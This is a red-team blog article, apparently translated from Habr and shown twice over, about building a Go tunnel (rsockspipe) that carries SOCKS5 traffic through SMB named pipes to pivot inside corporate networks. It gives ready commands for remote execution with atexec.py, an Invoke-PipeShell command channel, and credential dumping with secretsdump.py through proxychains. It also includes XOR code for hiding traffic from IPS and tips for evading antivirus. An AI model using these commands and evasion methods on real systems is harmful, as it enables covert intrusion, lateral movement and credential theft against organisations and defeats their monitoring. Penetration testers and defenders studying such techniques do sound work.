We use pipe for pivoting
It's no secret that corporate IPSs are getting smarter and smarter. Now you will not surprise anyone IPS with SSL-mitm on the perimeter of the network or even within the corporate network between segments. At the same time, in addition to the well-known IPS, various EDR solutions began to appear and spread, which are directly on the hosts looking at the established connections. In this regard, it is becoming more and more difficult for a decent RedTeam specialist to hide from the omnipresent look of BlueTeam every day. We have to become more and more inventive in their difficult work.
One solution for masking our “more useful destructive actions” (c) within corporate networks can be the use of SMB or RDP protocols. You can hide inside them and disguise yourself as legitimate traffic. This is nothing special and there is a disguise technique inside SMB used since the famous APT companies Duqu and Sauron. There, the guys also successfully used the SMB protocol to transfer control commands to their agents. After that, this technique was adopted by the developers Metasploit and Cobalt Strike.
In this article, we will consider options for using the SMB protocol for pivoting, and we will leave RDP for later.
So let's look at what is so beautiful about using SMB for pivoting.
')
First, it is widespread. SMB is practically the native Microsoft protocol, and it is used everywhere and in many corporate networks with windows. Here you and DFS, and various updates, and printers, and many, many things. Very comfortably.
True, outside the corporate network, and even more so from the outside to the inside of the 445th TCP port, they now often began to be closed on firewalls. The reason is that frequent phishing and relaying with the use of file: // xxxx, \\ xxxx \ etc links. And of course, let's not forget about WannaCry, which forced many organizations to close the port sticking out.
Secondly, in modern systems, such as Win10 / Win2016 and above, the information transmitted within the SMB protocol is more precisely SMB3 already encrypted by default. Those. passing your favorite inside the SMB can safely be sure that corporate IPS will not notice it (thanks to Micosoft for this!).
Third, the SMB protocol provides a convenient mechanism for so-called SMB pipes — these are actually the same named pipes that are only available on the network. For example, a line like \\ 192.168.1.10 \ pipe \ atsvc is the scheduled tasks service pipe. Atexec from impacket framework for creating tasks for executing commands in windows works with it.
You can view all open pipes on your system using the utility from Sysinternals: pipelist.exe (pipelist64.exe) or through the same powershell:
So let's see how we can use SMB pipes for our “more useful destructive actions.”
We want to use pipelines for covert communication with our command shell.
The bottom line is that we run our agent or shell on the target machine, and keep communication with it via the SMB protocol.
For example, in meta-exploit there are special paylodes for working with pipes:
meterpreter_bind_named_pipe
bind_named_pipe
Using them, you can easily “hang” your listener (whether meterpreter or an ordinary command shell) on a named pipe, thereby hiding it from the vigilant eyes of the security administrator. But, of course, we all know well that using msf paylodes during combat pentest / redtim is completely unsafe and real trucking hackers use custom tools, as they say - away from sin ...
The alternative to msf as a command shell can be our old-kind helper - powershell. In the network there are many examples on the use of pipes as a channel for communication with C2.
One of them is the Invoke-PipeShell utility from the Threatexpress team. It works in server-client mode and encrypts all its traffic with a 256-bit AES key.
On the server, we run:
On the client, we run:
Naturally, our client must be authorized on the server, so do not forget to authorize first:
After a successful connection, we get a full Powershell console. All the details on working with this tool, as well as the code itself, can be found on the gita .
Good. This is kind of understandable. Now let's think about how we pivot inside the target network through the SMB pipe. For example, if only the 445th port is open on the perimeter of the network (and sometimes it happens ...) or connections outside our tunnel by SSL are mercilessly blocked by the corporate firewall, but for some reason they forgot to close the SMB protocol. In this case, we need to forward a full TCP tunnel inside the pipe so that we can work with the internal resources of the target network. The first thing that comes to mind is the same meterpreter with staging through the pipes. He knows how to do it perfectly. We will not consider the details here, because everything is standard and on the manual. Those interested can read the instructions for metasploit, or see the short version here .
We have already mentioned the shortcomings of meterpreter above. Therefore, let's see what else we have for pivoting through the pipes ...
After a quick googling on the topic of tunneling through pipes, besides meterpreter, only Cobalt Strike and DxFlatLine development were found .
The first option, firstly, is paid, and secondly, it has all the same drawbacks as meterpreter.
The second option is made as a PoC, it works only in single-threaded mode and allows only one connection to tunnel - that is, as you can guess, is also not an option for continuous use in practice.
After thinking a bit about the problem, we decided ... Why don't we adapt our past development of Rsockstun, which we have already written about , to work with the pipes? Moreover, the application architecture allows you to do this with ease. Instead of connecting via TCP, we will use an SMB connection. It even simplifies the work of the utility: no need to worry about SSL, connecting through a proxy server, etc. We leave only the option from the initial client authorization on the server with a password, since A pipe is a publicly available entity, and, accordingly, not only our tunneller can read and write to them, but also other software, including remotely.
Access rights to the pipes, as well as scanning and enumeration of the pipes on the remote machine, is a separate topic for conversations. Those interested can learn it on the example of the metasploit modules scanner / smb / pipe_auditor and scanner / smb / pipe_rpc_auditor.
To work with Go pipes, we will use the npipe library .
It was made quite a long time ago and has proven itself in various projects. Working through this library is not fundamentally different from working through standard Net mechanisms: the same net.Dial, net.Listen, net.Accept functions.
To multiplex several connections within one pipe, as we did last time, we will use the Yamux multiplexer and socks5 - a proxy server. You can read more about the need for multiplexing inside TCP and yamux itself in our last article about rsockstun.
Another difference and refinement of the version with pipes, compared to rsockstun, is that now yamux-server and, accordingly, socks5-proxy can be run on both ends of the tunnel (though not simultaneously, but either there or there). This is done so that the tunnel can be built both from the outside to the inside of the target network and back ...
Figure 1 - Dump the traffic of the tunnel on Windows 7
Figure 1 shows how our tunneler will look like if at least one of its ends works on Windows 7. Here the red zone is the authorization stage, the green is the opening of the pipe, and the blue is the direct transfer of information. It is also necessary to pay attention to the fact that the SMBv2 protocol is used. In fact, this means that everything that we transmit inside the tunnel will be visible in plain text:
Unlike Win7, Windows10 uses data encryption within the SMB3 protocol:
As we can see, neither the name of the pipe, nor the data inside the tunnel in clear text is transmitted.
You can check whether SMB3 encryption works on your system through standard powershell cmdlet Get-SmbServerConfiguration
And when encryption is turned off, it is just as easy to activate it:
However, we can not always be sure that encryption inside SMB will be enabled by default, and turning it on on another server or network is not a good idea ...
In this regard, we need to provide a mode in our tunnel that would allow traffic to be encrypted inside our tunnel. And we don’t have to securely encrypt it so that it can only be decrypted on the NSA supercomputer, but only hide the traffic signatures inside the tunnel from the IPS. In this regard, we will use a simple XOR with a small key to disguise our traffic, which will allow us to save processor resources and will have almost no effect on the transfer speed.
In order not to create an extra network layer responsible for encrypting traffic, we will add functionality directly to the composition of the yamux module responsible for transferring the payload (stream.go module and Read and Write functions):
After making changes, our GET request is no longer as clearly visible in traffic:
So, the launch options and accordingly the use of our tunneller will be as follows:
Option 1. Connection outside the network and forwarding Socks5 connection. For example, when the port 445 sticks out and we know the credits for connecting:
On the internal server, through the SMB connection and the impacket utility, we start the rsockpipe server part:
On the external (controllable to us) Windows-machine, we start the client part of rsockspipe and after establishing the connection we use it as socks5 proxy:
Option 2. Connection from the inside to the outside of the SMB protocol. When connections outside all web protocols are tightly monitored, but for some reason admins have forgotten about SMB ...
On the external (controllable to us) Windows machine (ip: YYYY), start the rsockspipe client part and wait for the clients to connect:
On the server inside the target network, we start the client part (also via impacket):
After a successful connection, we can use our server as soscks5:
There is one remark, especially to the second option. Remember, we said that for a successful connection to the pipe, we must be authorized on the server side, i.e. Before starting the tunnel, we need to pass authorization. You can do it like this:
So ... In the second use case, the net use command runs on the target machine. This means that on the target machine (in the memory of the lsass process) there are credits from your Windows machine. And if they are admins (and, as a rule, all novice hackers work as admins ...), then this can lead to a “reverse hello” from BlueTeam ... In general, you think when you do something ...
In general, the tunneler turned out quite good ... The main thing is that it is ready for active use.
The source code, like the already compiled binaries for x86 and x64, are located on our gita
And a small addition. Recently, they began to notice that Golang-software compiled in the Win GUI mode (compiled in the mode: go build -ldflags = "- H windowsgui"), has been heavily burned with some anti-virus solutions (KAV, SEP14). It comes to something ridiculous - “Hello World” compiled in GUI mode is detected as malware. Apparently, this is due to the fact that Golang still became the favorite means of Malvarschiki. So our advice is to compile the project in a standard console mode, and with a black cmf window, the real hacker knows how to handle it (as a hint, the same impacket, for example).
PS “More Useful Destructive Actions” - formulation by D. Samartsev - Director of BiZone. In this case, it most accurately describes the essence of the work of RedTeam specialists.
One solution for masking our “more useful destructive actions” (c) within corporate networks can be the use of SMB or RDP protocols. You can hide inside them and disguise yourself as legitimate traffic. This is nothing special and there is a disguise technique inside SMB used since the famous APT companies Duqu and Sauron. There, the guys also successfully used the SMB protocol to transfer control commands to their agents. After that, this technique was adopted by the developers Metasploit and Cobalt Strike.
In this article, we will consider options for using the SMB protocol for pivoting, and we will leave RDP for later.
Using SMB
So let's look at what is so beautiful about using SMB for pivoting.
')
First, it is widespread. SMB is practically the native Microsoft protocol, and it is used everywhere and in many corporate networks with windows. Here you and DFS, and various updates, and printers, and many, many things. Very comfortably.
True, outside the corporate network, and even more so from the outside to the inside of the 445th TCP port, they now often began to be closed on firewalls. The reason is that frequent phishing and relaying with the use of file: // xxxx, \\ xxxx \ etc links. And of course, let's not forget about WannaCry, which forced many organizations to close the port sticking out.
Secondly, in modern systems, such as Win10 / Win2016 and above, the information transmitted within the SMB protocol is more precisely SMB3 already encrypted by default. Those. passing your favorite inside the SMB can safely be sure that corporate IPS will not notice it (thanks to Micosoft for this!).
Third, the SMB protocol provides a convenient mechanism for so-called SMB pipes — these are actually the same named pipes that are only available on the network. For example, a line like \\ 192.168.1.10 \ pipe \ atsvc is the scheduled tasks service pipe. Atexec from impacket framework for creating tasks for executing commands in windows works with it.
You can view all open pipes on your system using the utility from Sysinternals: pipelist.exe (pipelist64.exe) or through the same powershell:
[System.IO.Directory]::GetFiles("\\.\\pipe\\") Immersion
So let's see how we can use SMB pipes for our “more useful destructive actions.”
We want to use pipelines for covert communication with our command shell.
The bottom line is that we run our agent or shell on the target machine, and keep communication with it via the SMB protocol.
For example, in meta-exploit there are special paylodes for working with pipes:
meterpreter_bind_named_pipe
bind_named_pipe
Using them, you can easily “hang” your listener (whether meterpreter or an ordinary command shell) on a named pipe, thereby hiding it from the vigilant eyes of the security administrator. But, of course, we all know well that using msf paylodes during combat pentest / redtim is completely unsafe and real trucking hackers use custom tools, as they say - away from sin ...
The alternative to msf as a command shell can be our old-kind helper - powershell. In the network there are many examples on the use of pipes as a channel for communication with C2.
One of them is the Invoke-PipeShell utility from the Threatexpress team. It works in server-client mode and encrypts all its traffic with a 256-bit AES key.
On the server, we run:
Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30 On the client, we run:
Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000 Naturally, our client must be authorized on the server, so do not forget to authorize first:
net use \\targetserver.domain.com\IPC$ /user:admin Password1 After a successful connection, we get a full Powershell console. All the details on working with this tool, as well as the code itself, can be found on the gita .
Good. This is kind of understandable. Now let's think about how we pivot inside the target network through the SMB pipe. For example, if only the 445th port is open on the perimeter of the network (and sometimes it happens ...) or connections outside our tunnel by SSL are mercilessly blocked by the corporate firewall, but for some reason they forgot to close the SMB protocol. In this case, we need to forward a full TCP tunnel inside the pipe so that we can work with the internal resources of the target network. The first thing that comes to mind is the same meterpreter with staging through the pipes. He knows how to do it perfectly. We will not consider the details here, because everything is standard and on the manual. Those interested can read the instructions for metasploit, or see the short version here .
We have already mentioned the shortcomings of meterpreter above. Therefore, let's see what else we have for pivoting through the pipes ...
After a quick googling on the topic of tunneling through pipes, besides meterpreter, only Cobalt Strike and DxFlatLine development were found .
The first option, firstly, is paid, and secondly, it has all the same drawbacks as meterpreter.
The second option is made as a PoC, it works only in single-threaded mode and allows only one connection to tunnel - that is, as you can guess, is also not an option for continuous use in practice.
And what to do?
After thinking a bit about the problem, we decided ... Why don't we adapt our past development of Rsockstun, which we have already written about , to work with the pipes? Moreover, the application architecture allows you to do this with ease. Instead of connecting via TCP, we will use an SMB connection. It even simplifies the work of the utility: no need to worry about SSL, connecting through a proxy server, etc. We leave only the option from the initial client authorization on the server with a password, since A pipe is a publicly available entity, and, accordingly, not only our tunneller can read and write to them, but also other software, including remotely.
Access rights to the pipes, as well as scanning and enumeration of the pipes on the remote machine, is a separate topic for conversations. Those interested can learn it on the example of the metasploit modules scanner / smb / pipe_auditor and scanner / smb / pipe_rpc_auditor.
To work with Go pipes, we will use the npipe library .
It was made quite a long time ago and has proven itself in various projects. Working through this library is not fundamentally different from working through standard Net mechanisms: the same net.Dial, net.Listen, net.Accept functions.
To multiplex several connections within one pipe, as we did last time, we will use the Yamux multiplexer and socks5 - a proxy server. You can read more about the need for multiplexing inside TCP and yamux itself in our last article about rsockstun.
Another difference and refinement of the version with pipes, compared to rsockstun, is that now yamux-server and, accordingly, socks5-proxy can be run on both ends of the tunnel (though not simultaneously, but either there or there). This is done so that the tunnel can be built both from the outside to the inside of the target network and back ...
And now, as usual - the nuances
Figure 1 - Dump the traffic of the tunnel on Windows 7
Figure 1 shows how our tunneler will look like if at least one of its ends works on Windows 7. Here the red zone is the authorization stage, the green is the opening of the pipe, and the blue is the direct transfer of information. It is also necessary to pay attention to the fact that the SMBv2 protocol is used. In fact, this means that everything that we transmit inside the tunnel will be visible in plain text:
Unlike Win7, Windows10 uses data encryption within the SMB3 protocol:
As we can see, neither the name of the pipe, nor the data inside the tunnel in clear text is transmitted.
You can check whether SMB3 encryption works on your system through standard powershell cmdlet Get-SmbServerConfiguration
And when encryption is turned off, it is just as easy to activate it:
However, we can not always be sure that encryption inside SMB will be enabled by default, and turning it on on another server or network is not a good idea ...
In this regard, we need to provide a mode in our tunnel that would allow traffic to be encrypted inside our tunnel. And we don’t have to securely encrypt it so that it can only be decrypted on the NSA supercomputer, but only hide the traffic signatures inside the tunnel from the IPS. In this regard, we will use a simple XOR with a small key to disguise our traffic, which will allow us to save processor resources and will have almost no effect on the transfer speed.
In order not to create an extra network layer responsible for encrypting traffic, we will add functionality directly to the composition of the yamux module responsible for transferring the payload (stream.go module and Read and Write functions):
func xoring(istr *[]byte, key string){ for i := 0; i < len(*istr); i++ {(*istr)[i] = (*istr)[i] ^ key[i % len(key)]} } After making changes, our GET request is no longer as clearly visible in traffic:
One, two, three ... Start!
So, the launch options and accordingly the use of our tunneller will be as follows:
Option 1. Connection outside the network and forwarding Socks5 connection. For example, when the port 445 sticks out and we know the credits for connecting:
On the internal server, through the SMB connection and the impacket utility, we start the rsockpipe server part:
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -listen .\rsockspipename -pass Password1234" On the external (controllable to us) Windows-machine, we start the client part of rsockspipe and after establishing the connection we use it as socks5 proxy:
rsockspipe.exe -connect xxxx\rsockspipename -socks yyyy:1080 -pass Pass-word1234 proxychains secretsdump.py admin:Passw0rd@yy1.10 Option 2. Connection from the inside to the outside of the SMB protocol. When connections outside all web protocols are tightly monitored, but for some reason admins have forgotten about SMB ...
On the external (controllable to us) Windows machine (ip: YYYY), start the rsockspipe client part and wait for the clients to connect:
rsockspipe.exe -listen .\rsockspipename -socks yyyy:1080 -pass Password1234 On the server inside the target network, we start the client part (also via impacket):
./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -connect YYYY\rsockspipename -pass Password1234" After a successful connection, we can use our server as soscks5:
proxychains secretsdump.py admin:Passw0rd@yy1.10 There is one remark, especially to the second option. Remember, we said that for a successful connection to the pipe, we must be authorized on the server side, i.e. Before starting the tunnel, we need to pass authorization. You can do it like this:
net use \\yyyy\ipc$ /user:<usrname> <Password1> So ... In the second use case, the net use command runs on the target machine. This means that on the target machine (in the memory of the lsass process) there are credits from your Windows machine. And if they are admins (and, as a rule, all novice hackers work as admins ...), then this can lead to a “reverse hello” from BlueTeam ... In general, you think when you do something ...
Instead of conclusion
In general, the tunneler turned out quite good ... The main thing is that it is ready for active use.
The source code, like the already compiled binaries for x86 and x64, are located on our gita
And a small addition. Recently, they began to notice that Golang-software compiled in the Win GUI mode (compiled in the mode: go build -ldflags = "- H windowsgui"), has been heavily burned with some anti-virus solutions (KAV, SEP14). It comes to something ridiculous - “Hello World” compiled in GUI mode is detected as malware. Apparently, this is due to the fact that Golang still became the favorite means of Malvarschiki. So our advice is to compile the project in a standard console mode, and with a black cmf window, the real hacker knows how to handle it (as a hint, the same impacket, for example).
PS “More Useful Destructive Actions” - formulation by D. Samartsev - Director of BiZone. In this case, it most accurately describes the essence of the work of RedTeam specialists.
Source: https://habr.com/ru/post/460659/
All Articles